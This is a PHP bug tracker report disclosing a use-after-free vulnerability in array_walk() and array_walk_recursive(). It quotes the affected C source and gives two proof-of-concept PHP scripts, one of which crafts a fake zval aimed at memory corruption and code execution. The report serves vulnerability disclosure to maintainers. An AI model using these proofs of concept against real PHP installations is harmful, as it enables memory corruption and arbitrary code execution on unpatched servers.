Edit report at https://bugs.php.net/bug.php?id=70713&edit=1
ID: 70713
Updated by: stas@php.net
Reported by: taoguangchen at icloud dot com
Summary: Use After Free Vulnerability in
array_walk()/array_walk_recursive()
Status: Open
-Type: Security
+Type: Bug
Package: *General Issues
Operating System: *
PHP Version: Irrelevant
Block user comment: N
Private report: Y
Previous Comments:
------------------------------------------------------------------------
[2015-10-14 16:39:21] taoguangchen at icloud dot com
Description:
------------
Use After Free Vulnerability in array_walk()/array_walk_recursive()
```
static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */
{
...
BG(array_walk_fci).retval_ptr_ptr = &retval_ptr;
BG(array_walk_fci).param_count = userdata ? 3 : 2;
BG(array_walk_fci).params = args;
BG(array_walk_fci).no_separation = 0;
/* Iterate through hash */
zend_hash_internal_pointer_reset(target_hash);
while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) ==
SUCCESS) {
...
if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) ==
SUCCESS) {
...
PHP_FUNCTION(array_walk)
{
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array,
&BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) {
BG(array_walk_fci) = orig_array_walk_fci;
BG(array_walk_fci_cache) = orig_array_walk_fci_cache;
return;
}
php_array_walk(array, userdata, 0 TSRMLS_CC);
```
the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to
call to the object's magic methods, this means an attacker will be able to changes the original
array and its elements. this should result in use-after-free attack and arbitrary code execution.
PoC1
```
class obj
{
function __tostring()
{
global $arr, $zval;
$arr = 1;
$zval = ptr2str(2);
$zval .= ptr2str(0x1122334455);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x05";
$zval .= "\x00";
$zval .= "\x00\x00";
return 'hi';
}
}
$arr = array('string' => new obj, 1);
array_walk_recursive($arr, 'settype');
```
PoC2
```
class obj
{
function __tostring()
{
global $arr;
$arr = 1;
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
return 'hi';
}
}
$arr = array('string' => new obj);
array_walk_recursive($arr, 'settype');
```
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70713&edit=1